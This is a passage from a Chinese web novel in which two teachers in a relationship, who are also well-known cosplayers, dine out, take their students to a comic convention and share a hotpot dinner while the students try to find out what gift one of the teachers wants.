肖扬低着头，面对这个问题一时间不知道怎么回答，酝酿了很久才说：“……但是你被班里人欺负的时候，我却没敢站出来帮你说话。” “我当时是真的，真的很想帮你说话的，但是……我没敢，”肖扬指了指自己，说：“我一个成绩平平的胖子，当时想着不被人欺负就不错了……” “我没敢站出来，明明我坐的离你挺近的——我是真的想帮你，但是也是真害怕啊……后来我就一直过意不去这件事，长大以后不知道你过的怎么样，更不敢打听了，还好我刷到了那条视频，点赞还挺高的，我看评论区都是对你表白的，我想你过的应该挺好的，就问到了你在一中做老师。” 陶与晴听着听着，算是知道他为什么来道歉了。 他一笑，说：“没关系，都过去了，而且你也没错，保护自己没错的。” “……我就是过意不去，”肖扬说出来了，舒服多了，松了口气：“你不知道这些年我都不敢回学校，一回去我就想到你，想到你被他们嘲笑，我却坐在后面什么话都不敢说，我真是好窝囊。” “现在我说出来了，虽然为时已晚……但是我真的也很谢谢你，真的。” 聊了聊现状，陶与晴知道肖扬现在在一家企业当小领导，虽然平时面对自己的领导还是得窝囊着，但是好歹能赚点钱。 顺便知道了一些初中同学的动静，带头欺负他的那个人前几年没考上大学复读了，这几年都没什么动静，具体不知道干嘛去了，但肖扬说他在班级群里发过借钱的消息，被班长给踢了。 这倒是听起来大快人心，陶与晴很没礼貌的笑了，和他聊了好一会，想到有人还在外面坐着，才止住。 陶与晴走出来的时候，简璃还在外面等他，但是叶多青已经走了。 陶与晴笑着指了指简璃：“那个就是我男朋友。” “原来是……！”肖扬想起自己在校门口见过的那个人，现在想来微信上和自己聊天的估计也是这个人吧。 简璃站在一颗枯黄的大树底下，盯着这边看，但没有走上来。 他在耐心等陶与晴过去呢。 现在陶与晴有人护着，也是再好不过了，肖扬绷出一个老实极了的笑，又摸摸自己的后脑勺，说：“那你快去吧，改日我回祁城再请你吃饭。” “嗯，没问题，谢谢你和我说这些。” 肖扬朝另一个方向走了，陶与晴走向简璃。 “聊这么多，说了些什么啊，”简璃看了看肖扬离开的方向，拉起陶与晴的手，“有没有欺负你？” “没有，”陶与晴心情很好，说：“他是来道歉的。” 回去的路上，陶与晴把肖扬的话告诉了简璃，简璃听后也笑了笑，说：“那挺好，而且恶有恶报。” “虽然缺德，”陶与晴伸手打开简璃车上的音乐，让语音助手放了一首喜庆的，又说：“但是听见霸凌别人的人过的不好，还挺爽的。” 简璃看了看他，笑了笑，说：“必须的，所以老公今天请你吃好吃的怎么样。” “那我想吃法餐，最贵的那家。” “……” 陶与晴抬眼调笑：“怎么，养不起我？就这自称我老公。” 简璃无奈，心想陶老师怎么心情好也会翻旧账啊，“导航附近最贵的法餐厅。” 陶与晴其实也是开开玩笑的，看见那餐厅在祁城最高的建筑里，四面都是落地窗，还没进门，就拉着简璃说：“离玉老师，商量一下，我错了我不该开你玩笑，算了算了，太贵了吧。” “来都来了，扶光老师怎么怂了啊” “不不不……！” 还是坐下了。 陶与晴看了一眼那菜单，随便一道都是四位数的。 他马上关上了，宁愿自己没看过，并且想拉着简璃离开这个地方。 简璃打开菜单，点了几道，摁住陶与晴。 “约会呢，扶光老师认真点。” “……咱们非得来人均五位数的餐厅约会吗？” 陶与晴觉得路边的烧烤摊也挺好的啊。 “今天高兴，”简璃取下眼镜，笑着说：“再开瓶香槟吧。” …… 仪式感是拉满了，陶与晴抿了一口杯子里的唐培里侬。 ……这就是四千块的酒吗。 这不得好好的品一品，到底有什么区别。 餐厅里响起悠扬的小提琴曲，拉着小提琴的黑色长裙姑娘走到简璃和陶与晴旁边来。 金钱的音乐。 “资本”的挥霍。 陶与晴第一次直观的感受到，自己男朋友是个七年顶流coser的事实。 简璃正在思考可行性：“以后婚礼要不也按这个规格来吧。” 陶与晴差点把一口四千块的酒呛出来。 “……一定会破产的吧！” 坐在落地窗旁，简璃还提到之前让赵遇京他们带瑞瑞，结果几个臭小子拿着他的资金跑去吃了真法餐的事情。 陶与晴拿刀叉的手一顿：“……这么贵的？” “倒也不是，我怎么可能给这么多钱，”简璃说：“但是本来我是想让他给我剩回来的，谁知道最后还倒贴了一顿宵夜。” “……这么拼啊离玉老师，”陶与晴眼带笑意，说：“就为了给我个委托做礼物？” “是啊，这份礼物的价值一下子就贵起来了，”简璃看向他：“今年扶光老师情人节怎么还我呢？” “……这个，”陶与晴被问到了，低头吃菜：“我当然有计划了，你就等着吧。” 简璃笑道：“那我期待一下。” 这真是一个好问题啊！ 陶与晴心里几乎是瞬间一慌。 简璃这个人，其实搞浪漫是有一手的，生日送手办，情人节送委托，把他这个二次元拿捏的死死的。 简璃的生日一般是开开直播和粉丝过，单独送他他也不要的，互相之间都习惯了，去年就是这样，那时候陶与晴还不知道离玉是他呢，所以根本没送礼物。 情人节……更不用说了，陶与晴之前压根就和这个节日没关系。 这下好了，他完全不知道逢年过节该送什么礼物。 于是乎某天晚自习，陶与晴忍不住把这个问题抛出来问问学生们。 “你们觉得……逢年过节送什么礼物，收礼的人会很开心呢？” 学生们抬头。 那他们当然是非常乐意帮陶老师分担烦恼的，才不是想逃避一会作业呢。 “送钱！” “送金子。” “送花？送手工品？” 七嘴八舌之后，吴尽夏问：“对方喜欢什么呀陶老师？” “这个……”陶与晴不是没想过问问简璃，但是不知道为什么，他觉得简璃一定会回答——最喜欢他。 这问了和没问有什么区别？ 简璃好像也不买周边什么的，粉丝无料收的就很多了，而且他更喜欢老番和冷番，一谷难求的那种老和冷。 其他的，简璃好像没什么兴趣爱好。 之前问他，他说出c就是他的爱好。 总不能送他道具和c服吧，这和上班有什么区别。 “他没什么喜欢的东西啊，”陶与晴更犯难了，说：“你们觉得你们简老师喜欢什么？” 就这样直接的承认了吗？ 底下同学本来还不想说破的。 “简老师，”赵遇京撑着头：“难道不是喜欢让我们写卷子和抽背吗。” “嗯，”陶与晴点点头：“你说的很有道，那我去订一套语文卷子送给他……” “不不不陶老师！” “他不喜欢他一定不喜欢！” 赵遇京迅速道：“我胡说的啊陶老师，我胡说的。” 宁雨说：“您送什么都好。” 不少同学附议：“对啊对啊，陶老师送什么都喜欢。” “这样子真的很想敷衍哎……”陶与晴扶额：“谢谢，你们继续写作业吧，我自己再想想。” “是简老师要过生日了吗？” 邓留萤：“哎呀不是，简老师的生日三月份的。” “你为什么这么清楚啊？” “是啊，上次陶老师过生日你也知道？” 陶与晴：“……” “我……”邓留萤慌乱，道：“我当然、我当然是看过两个老师的资料了，你们都不把老师放在心上是吧！” 一招道德绑架让其他人不再怀疑了。 姜一安写完一张卷子，扶了一下眼镜：“心意最重要。” 吴尽夏也说：“陶老师你不要紧张，我们帮你打听打听呀。” 赵遇京：“这个好！我最喜欢打探……我最喜欢帮助老师了。” 陶与晴说实话有点不太信任这群古灵精怪的小家伙。 虽然他们是很年轻，很有活力，很可爱，很…… 但是也是真的很不靠谱啊。 于是，以赵遇京为首，莫名其妙创建了一个“打听简璃最想要的礼物”小分队的群。 陶与晴也在这个群里。 但是他真的是被迫的，他真的不想做这么中二的事情啊。 【帅哥赵遇京（群主）】：好！我们一定要知道简老师到底最想要什么礼物！ 【你的萤】：耶！！ 【无尽花会开】：（小心心）（小心心） 【姜一安】：……为什么我也在这个群里。 【雨】：…… 【陶与晴】：？ 好奇怪的斗志啊孩子们！ “什么东西这么好笑？”简璃扭头就看见陶与晴笑倒在沙发上。 “赵遇京。” 好吧。 简璃不意外了。 此时此刻另一个小群里。 【雨】：为什么我们不直接把陶老师拉进我们的群，而是要额外开一个群。 【你的萤来了】：哎呀小雨你太老实了，陶老师进了这个群，我们不就等于被老师盯上了吗？那还怎么聊天。 【小班长你快改群名！】：就是就是，那个群用完了解散就好了，这个群还要留着呢（墨镜） 【不改你跳吧（群主）】：这里貌似你俩最心虚吧。 【无尽花会开】：哈哈哈哈哈。 【你的萤来了】：哎嘿。 【小班长你快改群名！】：嘻嘻。 不过平时在学校，简璃是工作的状态，不好套话聊天，一连几天下来学生们都没什么收获，甚至还要提心吊胆的怕被发现他们有心在问。 陶与晴也只当陪孩子们玩玩而已，并没有真指望什么，过了一段时间那个群聊的事情也都不是以简璃为中心的事情了，逐渐偏离主旨。 他这个月还要做道具，空闲时间没几天，十月份当然有漫展邀请了离玉，列表里的其他单主也蹲了陶与晴好久了。 陶与晴周末在简璃家的工作间待一天。 简璃也不打扰他，偶尔路过门口，就想进去看看。 然后被陶与晴推出来，说里面有毒气体多不戴口罩不准进。 国庆节前夕。 【帅哥赵遇京（群主）】：要不然国庆节陶老师你把简老师约出来，我们一起出去玩吧？还没想好国庆节干什么呢。 赵遇京这个提议，就连宁雨都有点心动了。 他假期基本上是在饭馆里打零工，没怎么出去玩过。 【雨】：可以吗？ 陶与晴咂咂嘴，心软了。 考虑到都是他的学生，几个孩子都挺听话的，陶与晴也就没找其他借口。 【陶与晴】：国庆节——简璃有漫展，我要去陪他。 【你的萤】：！！ 【你的萤】：陶老师我们能和你一起去漫展吗求求了！ 【无尽花会开】：啊，其实我也刷到了一点视频来着，但是没敢说，简老师真的是陶老师喜欢的那个coser吗？也太巧了（小花花） 【陶与晴】：对，大家要是想去玩的话，我买票吧，但是到时候要跟着我不能走丢哦。 【帅哥赵遇京（群主）】：我去我去啊！但是我这次一定不要在签售台上写作业，不然我会抱憾终身的，求求了。 第60章 【姜一安】：什么coser。 邓留萤和赵遇京七嘴八舌的给姜一安解释了一下，姜一安大概明白了。 【帅哥赵遇京（群主）】：总之，简老师和陶老师是大明星。 陶与晴时不时看一眼他们聊天。 那倒也是不至于。 真是大明星多影响工作啊。 【雨】：陶老师做什么都好。 【无尽花会开】：简老师也好，喜欢简老师！ 【你的萤】：你们已经开始分成不同粉圈了嘛！ 【姜一安】：你又是什么粉？ 【你的萤】：我当然是cp粉，陶老师和简老师百年好合长长久久，我出生了。 两个她都喜欢，要是能在她面前莫名其妙亲一下就更喜欢了！ 【帅哥赵遇京（群主）】：我不是粉。 【帅哥赵遇京（群主）】：我感觉我才是他们儿子（融化）（融化）。 【姜一安】：确实。 【你的萤】：确实。 【雨】：确实。 …… 【帅哥赵遇京】将群主转移给【陶与晴】。 【陶与晴（群主）】：？ 【帅哥赵遇京】：孝敬您的。 好一个孝敬。 …… 国庆的漫展，简璃本来给陶与晴工作证，想让他和自己一起提前进去的。 但是陶与晴说要去带孩子，所以拿了工作证就得走了。 简璃才知道赵遇京他们几个也要过来。 “好吧，”他有些委屈的看向陶与晴：“那一会还来看我吗？” “看啊，”陶与晴给他顺顺毛，“一会带他们一起过去。” 他凑过去蹭蹭简璃的脸，陶与晴特别喜欢这个动作，感觉简璃就像个大型猫科动物，喜欢他身上的味道。 虽然现在自己身上和他身上是一个味道就是了。 最后简璃讨了个亲亲，两个人就分开走了。 旁边的工作人员刚来就看见他们在贴贴，使劲憋着没出声尖叫，看两个人分开了才走过去招呼。 “玉光……啊不是不是，离玉老师，这边走。” 她都嗑疯了，差点脱口而出一些奇怪的东西。 网上说的都没错，玉光真的是真的。 太纯爱了，太纯爱了，这是她能现场看的吗！扶光老师为什么走了啊，能不能多亲两口！ 陶与晴低头看手机，赵遇京他们都在前门的检票口等着。 他走过去差点没认出来。 邓留萤穿了一套白色的lo裙，正在帮吴尽夏拿道具，吴尽夏出的一个游戏女角色，白色双马尾，道具是一朵特别大的铃兰花。 她还挺害羞的，邓留萤鼓励她，两个姑娘贴在一起说悄悄话。 男生们站在旁边，赵遇京出的古装角色，负手而站，看起来气质凌然，像个真侠士，宁雨大概是被他拉着，出的和他一个ip的角色，黑衣黑面罩，酷酷的。 盯着赵遇京的眼神也挺像个真刺客的。 姜一安显然是狠心的拒绝了赵遇京的软磨硬泡，穿的常服出门，不过担任了拿东西的任务。 “你们这是……”陶与晴很惊喜的走过去，高中的孩子已经长开了，宁雨和赵遇京都快比他高了，穿起c服来还真有那味。 “惊喜！陶老师，”邓留萤说：“我们为了和你逛漫展，约了妆娘和毛娘，还特意准备了无料！” 她跑到姜一安那里把包里的东西拿出来，是用信封封好的，里面乱七八糟的什么都有，有心准备好的。 陶与晴觉得他们几个真是太可爱了，收下信封忍俊不禁：“怎么不叫我给你们弄啊。” “您太贵啦，”吴尽夏抱着铃兰花，说：“我们财力有限。” “老师怎么会收你们钱，”陶与晴笑了：“当然给你们免费。” “不行，”宁雨说：“要尊重陶老师的劳动成果。” 姜一安也点头，说：“您平时很忙，我们就不添麻烦了。” 陶与晴看他们这一身应该不便宜，看了看宁雨：“都是你们自己买的吗。” 邓留萤说：“c服是租的啦，毛娘是我本人——看您的教程学的，虽然造型很简单但是已经不错啦……妆是杨以心画的，她说要补课就不和我们来了，怎么样还行吧？” 陶与晴暗自动容，其实他走上手作这条路，也是高中的时候一个女同学被毛娘跑单了，陶与晴帮她临时弄了弄，意外的还不错，打开了新世界的大门。 忽然觉得少了点什么。 看了下不远处站着，板着一张脸的赵遇京。 “他这是……怎么了？” 宁雨说：“他说他要做一个冷酷的人。” 吴尽夏补充：“因为他的角色是个万人之上的冷漠大侠。” 姜一安总结：“没活硬整。” “啊——”陶与晴决定尊重孩子的选择，说：“那我们先进场吧。” 刚才在外面就有好些人找他们集邮了，进场了更是，宁雨比陶与晴还不会拍照，特别僵硬，但也意外的符合他的角色。 邓留萤一进去就给吴尽夏狂拍照片，嘴里还一直嘿嘿嘿的碎碎念。 “小夏，可爱啊啊嘿嘿嘿，看我看我，啊啊啊嘿嘿嘿。” 邓留萤拍了几十张照片，一边翻一边说：“这个世界没有女孩子可怎么转啊，嘿嘿嘿小夏嘿嘿。” 宁雨略带惊恐的看了她一眼：“……你果然是女变态吧？” “差点忘了，”邓留萤指挥道：“过来过来，给你也拍点场照，难得一起来玩嘛。” “我不……！” 刚才邓留萤硬控了吴尽夏十几分钟他可看在眼里。 “快快快……小雨别跑！站住！” 穿着lo裙的邓留萤举着手机追着黑衣古装的宁雨跑，那边正气凛然的赵遇京真就一句话都没说，惹来姜一安意外的目光。 还以为这家伙肚子里憋不住半点香油呢。 吴尽夏又和一个人合了影，走到陶与晴旁边。 “陶老师，”吴尽夏拿出手机说：“我想和你也合个影可以嘛。” “当然可以了，”陶与晴欣然答应，说：“你今天特别好看，自信点。” “啊谢谢陶老师！” “扶光老师！”陶与晴这边和吴尽夏站在一起被人发现了，“啊啊真的是扶光，我就知道离玉来了您肯定也来了，我可以要个签名吗？” “扶光大大，这是我的无料请你收下吧，还有旁边出文花的老师，这个给你。” “扶光！啊我见到真的了，我也想合影。” “哎旁边那个小哥哥出的是剑臣吗？好帅呀，可以集邮吗？” 赵遇京：“可以。” “哇，你出的好还原啊，这个无料给你。” 赵遇京：“多谢。” “啊啊啊，不客气不客气。” ……他？ 在场的其他三人沉默了。 他还装上了居然？ 接连有好几个都被他的外貌欺骗，对着赵遇京疯狂称赞，觉得他简直就是剑臣本臣。 不不不，冷静啊姑娘们，这孩子和冷酷大侠真的一毛钱的关系也没有啊。 不知道为什么，明明赵遇京这次什么都没做，但是陶与晴更想笑了。 但是陶与晴又有点担心起来，是不是平时开着孩子玩笑开多了，他心里不太平衡啊？ 要不然以后还是…… 实则赵遇京被围着夸，心里暗爽，哈，他今天一定要做一个冷酷的男…… “哎哟！雨哥你踹我干嘛？” “把你身上的脏东西踹出来，”宁雨实在看不下去，说：“别整这死出。” “我这好不容易忍住的哎，你知道我多想说话吗，”赵遇京被踹回原型，终于绷不住打哈哈：“有辱斯文，简直有辱斯文啊，小班长你管管！” 姜一安拍拍宁雨的肩膀：“妙手回春。” 宁雨：“承让。” 邓留萤：“哈哈哈哈哈……” “你们同流合污，那陶老师管……” 陶与晴听见赵遇京开口说话，顿时松了口气说：“舒服多了。” 赵遇京：“？陶老师，您也……！” 这叫什么事儿，他就不能当一天冷酷男人吗？ 邓留萤走过去，对着赵遇京指了指被人集邮的宁雨，压低声音恶魔低语：“你费尽心思凹的人设，人家根本不用凹。” 赵遇京含恨摇头：“谢谢，破防了，不录了。” 姜一安推了推眼镜：“知道海为什么是蓝色的吗” 姜一安：“因为遇鲸（京）在吐泡泡，blue，blue。” 赵遇京还真的莫名其妙笑了一下：“噗嗤。” …… …… ……？ 其他所有人欲言又止。 赵遇京捂住脸：“人在无语的时候会笑的，真的。” 陶与晴也绷不住了，揉了揉姜一安的头：“……我们接着逛逛吧。” 姜一安微不可查的叹气。 怎么没人能懂他的幽默。 为自己的无语干杯.jpg 毕竟他们还是青春期的孩子，比较有活力，在漫展上特别容易跑丢。 陶与晴盯着他们的同时还要被粉丝抓住集邮。 通常是合了照，伸手抓回来一个赵遇京或者邓留萤。 一个被整活吸引想参与，一个被周边吸引想剁手。 冷静啊。 “扶光老师！” 一个熟悉的声音，陶与晴回头，果然是飞雪！ “飞雪，”陶与晴和他打招呼：“你怎么没说你要来啊？” “我本来要去另一个展子的啦，”飞雪走过来说，“但是我今天约的整活搭子忽然生病了，我就想着干脆来个近一点的咯……哎你后面这些是？” “都是我学生，”陶与晴侧身说：“这是飞雪，圈里的朋友。” 邓留萤：“我我，我刷到过你的视频！飞雪老师，上次被不小心拿走外套那个对吧？” 陶与晴：“咳咳，这个事情就不必提了吧留萤。” 邓留萤：“哈哈哈不好意思。” 这个事儿太印象深刻了。 飞雪和几个孩子打招呼，他们年龄差不了几岁，陶与晴感觉自己的托儿所又加一员。 “飞雪啊！”赵遇京说：“我知道，我也刷到过，你那个摘香蕉被猴子霸凌的视频！” “你是……赵遇京？你就是那个漫展上写作业的！” “我这么火吗！” “包的啊。” 两个人简直是相见恨晚，迅速打成一片。 姜一安预感到了什么，说：“这下有人陪他胡闹了。” 虽然飞雪和赵遇京出的不是一个IP的角色，但是并不妨碍他俩整活。 于是拉上了宁雨，拍小段子去了。 并且宁雨什么都不用干，站在那本色出演嫌弃的表情就行了。 陶与晴扶额。 看吧，他就说飞雪和赵遇京合得来吧。 就是有点废宁雨。 两个老六！不要拉着他搞抽象！ 然后陶与晴就带着他们走到简璃一会的签售位附近了。 他还没出来，陶与晴又不放心把孩子们单独放在外面，那种工作牌进后台也不是，不进后台也不是。 “陶老师您去吧，”姜一安说：“我看着他们。” “这……”陶与晴确实想去看看简璃，犹豫了一下，说：“那你们要注意安全。” 要是一两个跟他来，他倒是也不会看的这么紧。 但是这几个凑到一起，就和一群出羊圈四处跑的羊一样…… 还加上个飞雪，更不放心了。 “嗯，您去吧。” ……他就离开一会，希望姜一安能拉得住。 陶与晴转身还没走几步，听见后面传来一声。 “警告一次，第二次再乱跑的全部记名字。” 不光是赵遇京他们，半个范围内的人都吓住了。 效果立竿见影啊。 陶与晴用工作证进门，简璃刚从休息室走出来，正在和工作人员说什么，这次的妆娘还是上次见过的小苏打，她看见了陶与晴，热情的打招呼。 “扶光老师，你来啦。” 简璃扭头，看见陶与晴就笑了，和工作人员说了两句，走过来。 “那群孩子呢。” “在外面呢，我进来看看你，”陶与晴帮他把头发上一点泡沫塑料拿下来，说：“这么帅啊离玉老师。” “可惜化了妆，”简璃拉拉他的手：“不能亲了。” “那你只好忍忍了，”陶与晴笑了，然后想起来了旁边还有人，收敛笑意：“嗯……” 小苏打迅速拿起化妆箱，说：“我先走了两位老师，这就走。” 她走的时候笑的脸都红了。 上次看玉光还没在一起的样子。 这次就这么甜了。 恭喜离玉老师七年执着抱的美人归！ 陶与晴有点不好意思：“把人家都吓跑了。” “她那是吓跑的吗，”简璃可太了解这些小姑娘了，“她那是故意的。” “好了好了，你要出场了吧，快点去吧。” “好，我结束以后陪你们。” “嗯嗯。” 简璃签售毕竟是工作，陶与晴就来看看他，虽然舍不得，也没去多打扰，况且还有一群孩子他得盯着。 回去以后带着几个人去别的地方逛，等简璃结束。 “真可惜，”赵遇京说：“还想正儿八经看看营业的简老师的呢。” 上次在签售台上写作业赵遇京耿耿于怀，一直想二战简璃。 看他念念不忘的样子，陶与晴只好说：“好吧，现在也快结束了，带你过去看看吧。” “好耶！”赵遇京欢呼。 宁雨：“你不是冷酷吗。” “冷酷不了一点，”赵遇京和宁雨勾肩搭背，说：“到时候就我们过去，都别说话，看看简老师能不能认出来我们，如果他没认出来，我们就一起嘲笑他。” “……” 宁雨再次不情不愿的被拖过去了。 飞雪感叹：“年轻真好啊，想到我当年了。” 陶与晴无奈的看他一眼：“你的高中时代，也就一两年前吧。” “啊哈哈哈，对哦。” 说起这个，陶与晴才是。 对于他来说，高中已经过去了快十年了。 一眨眼的事情，现在看见这些孩子这么有活力，还真有点感触。 “好吧，”赵遇京都拉着宁雨走了，陶与晴说：“你们也去随便逛逛吧，不用跟着我了，去玩吧，但是一会要去签售位那边集合。” “那陶老师等等我们马上回来！小夏走走走，我看中一个立牌可好看了，陪我去看看。” “好呀好呀。” 邓留萤拉着吴尽夏去摊位那边了，飞雪也伸了个懒腰，说：“那扶光老师，我去找找我列表，先撤了。” “嗯，拜拜。” “改日一起吃饭！” 陶与晴挥手，目光落在身边的姜一安身上。 “一安，不和他们去玩吗，”陶与晴笑着说：“或者这里有没有你喜欢的，老师买点送你，你平时帮了这么多忙。” “……没有，”姜一安比起来玩，更像是单纯陪朋友和老师的，说：“我陪您等就好。” 想到一开始，姜一安还闷闷的，一年过去，倒是会和那群小子插科打诨了。 还以为姜一安是那种小古板的性格，一开始和简璃站在一起，感觉再来个同类他们就能三消。 后来陶与晴发现，这孩子有点冷幽默在身上的。 “那我们去看看赵遇京他们吧。” “嗯。” 简璃的签售台，人已经少了很多了，因为要结束了。 不过还是有很多人盼着最后的时间能进去合照一下。 赵遇京也不和他们抢位置，就站在签售台边缘出，假装路过的没事人。 要是简老师认不出来他，他算扳回一城了。 宁雨半边脸遮着面罩，自己这一身更是和平时大不相同。 到时候忽然冒出去吓他一跳，这下轮到简老师尴尬了吧。 他就不信简老师认得出…… “赵遇京。” 赵遇京背影一僵。 “站在那干什么呢，”简璃刷刷签完名字，放下笔，说：“带着宁雨干坏事？” ……他是怪物吧！？这都认得出？ 赵遇京尴尬转身：“不是……简老师您怎么认出来的啊！” “你小子很难认不出来，”简璃看着他说：“拉着宁雨干嘛呢。” 宁雨毫不客气的招供：“赵遇京说，如果您认不出来他就可以嘲笑你。” 简璃招手：“过来，给我当助。” 赵遇京低头：“哎，喳。” 陶与晴和姜一安过来就看见赵遇京在帮简璃收拾桌子，苦哈哈的表情。 宁雨在旁边站着，一动不动，跟个路标似的。 “他们不是来吓唬你的吗，”陶与晴站在围栏外面，笑着说：“怎么改清洁工了？” “就他，太嫩了，”简璃也差不多签完了，揉了揉手腕，语气一变笑着说：“过来等我，收拾好了就走。” 赵遇京无语凝噎，心想简老师现在双标是演都不演了。 围栏外面的嗑学家察觉到了什么，纷纷打开手机开始录视频。 玉光同框！那和晋江了有什么区别。 四舍五入他们晋江……然后把晋江再晋江……最后晋江晋江晋江—— 陶与晴是不知道背后哪群女生脑子里都是什么黄色废料，走到签售台旁，欣赏了一下简璃今天的造型，觉得赏心悦目。 他绕着简璃转了两圈，说：“这么好看，怎么生的啊。” 简璃觉得他围着自己转圈圈的样子很可爱，说：“你也好看。” 赵遇京在旁边收拾各种无料，还要被近距离塞狗粮，可他又不是嗑cp的那些女生，敢怒不敢言。 大概简璃天生克他。 他雨哥和小班长站在旁边聊天怎么也不知道帮帮他，没有兄弟爱！ 姜一安精准猜出，说：“我们不好抢了你的活，加油。” 宁雨抱臂点点头：“嗯。” 赵遇京唉声叹气，觉得自己最近几年都要远离漫展签售台了。 谁知道里面坐着的会不会是一眼就把他认出来的老师呢，玩不过。 简璃和陶与晴说：“腿走累了没，一会是再逛逛，还是先吃饭？” “先吃饭吧，饿了。”陶与晴在他旁边，欣赏自家男朋友兼未来大概率也是老公的简老师那盛世美颜，心里也是有点小自私了。 还是不要放这样的离玉老师在漫展里面瞎晃悠了吧，很容易被围的水泄不通的。 “好，听你的。” 简璃这身穿的正经，这个角色有一股公务员的班味，加上他表情一直绷的很好。 陶与晴左看看右看看，看不出他家简老师表情的破绽。 好像每次都这样，显得自己很不矜持。 于是奇怪的胜负欲增加了。 陶与晴看了看不远处一边收拾桌子一边聊天的三人，又看了看已经被工作人员拦出去的粉丝，做了一下心建设。 凑近简璃的耳朵。 “老公真帅。” 赵遇京听见旁边一个响声，是简璃拍了一下签售台的桌子。 然后非常稀奇的，他看见简璃的脸红温了。 而且嘴角都快压不住了。 简老师怎么熟了啊？ “你看见了吗？扶光刚刚和离玉咬耳朵了！说了什么！” “看见了看见了，玉神都丧失表情管了，到底说了什么啊！！” “我第一次看见离玉脸红成这样的。” “好想钻过去听他们的悄悄话！” 罪魁祸首在旁边笑的很欢，他刚才还担心简璃会反杀回来呢，刚还有点难为情，现在一点都不了。 陶与晴！赢！ ……主要是这太突然了！ 比陶与晴之前莫名其妙亲他还突然！ 简璃完全宕机，温度降下来一点以后，暗爽想笑又想憋着笑，红着耳朵认命一般说：“先……先吃饭吧。” 60-63 第61章 赢——！ 其实他也没说什么过分的话。 但是简璃这个绷不住的笑，飞进现场的姑娘脑子里，就能衍生出一系列剧情了。 各大嗑cp群迅速传开了。 【小情侣你们到底说了什么！！让我听听！】 【有什么是我们不能听的，大家都这么熟了还拿我们当外人！】 【盲猜一个扶光老师说回去“奖励”离玉老师，离玉老师红温了。】 【do过了吧do过了吧这是do过了吧】 【肯定是荤话，我们扶光老师原来是钓系吗？！啊啊啊】 冤枉，简璃可以作证。 陶与晴就是很简单的撩了一下而已。 但是为什么从陶与晴嘴里说出来他就这么招架不住呢。 “简老师！”邓留萤和吴尽夏从远处走过来，邓留萤说：“我们准备了无料，送给你。” 简璃接过，点头说了谢谢，然后和粉丝给的放在一起装回去。 赵遇京意识到什么，拎着一堆东西抬头：“所以简老师请客吃饭吗？” “上次你吃掉我几千块，我还没找你要呢，”简璃给了赵遇京一拳头，说：“只能吃便宜的啊。” 赵遇京这才反应过来，原来之前简璃让他们带孩子，约会对象就是陶老师啊。 “天凉了！我们吃火锅吧！”邓留萤说。 吴尽夏：“我都行呀。” 宁雨：“嗯。” 赵遇京拍案：“那就这么愉快的决定——！” 喂喂喂。 没有人打算问问他简璃本人的意见吗？ 简璃冷哼了一声，只觉这帮孩子越来越不把他当老师了。 扭头对上陶与晴的脸，因为刚才那一出，尴尬的咳嗽了一声，说：“咳，你想吃什么？” “听他们的吧，”陶与晴笑笑，“没事儿，我们俩一起请客。” 邓留萤捕捉到了关键词，心想这不是喜酒是什么！ 豹豹猫猫结婚啦！ 邓留萤：“好耶！” 他们这身行头吃火锅不太方便，所以都跟着简璃去后台换了衣服。 陶与晴一边拿卸妆巾给宁雨擦脸，一边说：“你们这个年纪，要是带美瞳什么的不舒服，就不要硬带知道吗，还有化妆品，老师不反对你们化妆，但是尤其是女孩子一定要买好一点的……” 吴尽夏在一旁排队等陶与晴卸妆：“知道了陶老师。” 赵遇京：“我们难得出来玩一下嘛，明年高三可就没这时间了，哎。” “……”姜一安：“明年，就高三了啊。” 在场的人都愣了愣。 悄然之间，时间过去了一半了。 简璃隔了一会说：“还早呢，而且你们国庆的作业写完了没？要不要我现在检查一下。” “！” 邓留萤：“啊啊饿了饿了简老师我们快些去吃饭吧。” 陶与晴轻声一笑，觉得简璃转移话题的方式也太魔鬼了。 上次火锅店，陶与晴和简璃偶遇过他们。 这次也选了和上次一样的店。 不同的是，邓留萤举起手机，前置摄像头把所有人都框进去，说：“我们一起合张影吧！” 照片里，邓留萤在最右侧伸手举着手机，姜一安和赵遇京在抢一块肉，吴尽夏在往清汤里下牛肉丸，陶与晴在看镜头，简璃在看陶与晴，宁雨望着咕嘟咕嘟的汤面发呆。 “简老师，”赵遇京最终没抢到那块肉，转手去捞了一颗牛肉丸，说：“您平时喜欢做啥啊。” 陶与晴惊讶，原来他还没忘记主线啊。 “问这个做什么，”简璃看了赵遇京一眼，觉得这个小子打的不是什么好主意，“你还没服气？想挑战我。” “我哪有，我怎么可能是那种人，”赵遇京不自然的说：“我就是问问，了解了解老师的喜好而已，我还问了陶老师呢对吧陶老师。” 陶与晴看见赵遇京对自己眨眨眼，点点头：“嗯。” 简璃把火锅里的鱼块捞出来，一边挑刺一边说：“没什么爱好，非要说的比较喜欢给你们上课。” 他把那块鱼挑好了，夹到陶与晴碗里。 “……”赵遇京败下阵来，而且据他这几天的观察，简璃确实除了陶老师以外，没什么喜欢的东西。 倒不如说他是个coser这件事比他和陶与晴在一起这件事都震惊众人。 但是简璃显然比陶与晴还佛啊，他提过的几个番赵遇京甚至都没看过。 邓留萤看赵遇京都没招，低头在群里发消息。 【你的萤】：干脆我们让陶老师把自己送给简老师吧。 【你的萤】：打包戴上红丝带，让简老师拆蝴蝶结，太好了我真是天才呀。 陶与晴一低头就看见这么一条，直接就被呛到了。 简璃担忧的看他一眼，帮他拍拍背，递给他一杯温水。 好端端的，怎么忽然呛到了。 邓留萤等了半天没见人回复，定睛一看才发现自己发错群了。 这句话他是想发他们的小群的啊啊啊。 已经无法撤回了！ 完啦！ 怪不得刚才吴尽夏和宁雨看了一眼手机以一种复杂的眼神看着她。 于是一整顿饭，邓留萤都没脸说话。 她根本不敢直视陶与晴的眼睛了，罪过罪过。 陶老师千万千万不要以为她是什么奇怪的学生啊。 陶与晴因为邓留萤那两句发言，已经回不去了。 他居然真的认真思考起了这句话的可行性。 一旦接受了某种设定……！ 好好的小姑娘平时到底都看些什么！ 晚上回到同一个家，陶与晴在阳台散散火锅味，顺便发发呆，想着还是不知道要送简璃什么，眼看没两个月就跨年了。 简璃端来一杯热牛奶给他暖胃。 “谢谢……”陶与晴接过，思绪被打断下意识道了声谢。 简璃不满了：“和我还这么客气？” “我没反应过来嘛。”陶与晴捧着热牛奶，笑笑说。 然后简璃从背后环住他的腰身，把头埋在陶与晴的肩膀上，借着这个劲儿撒了个娇似的。 陶与晴抛开其他想法，一手端着杯子，一手揉了揉简璃的头发。 十月份晚上吹着点凉风，但是两个人靠在一起严丝合缝，温度刚刚好。 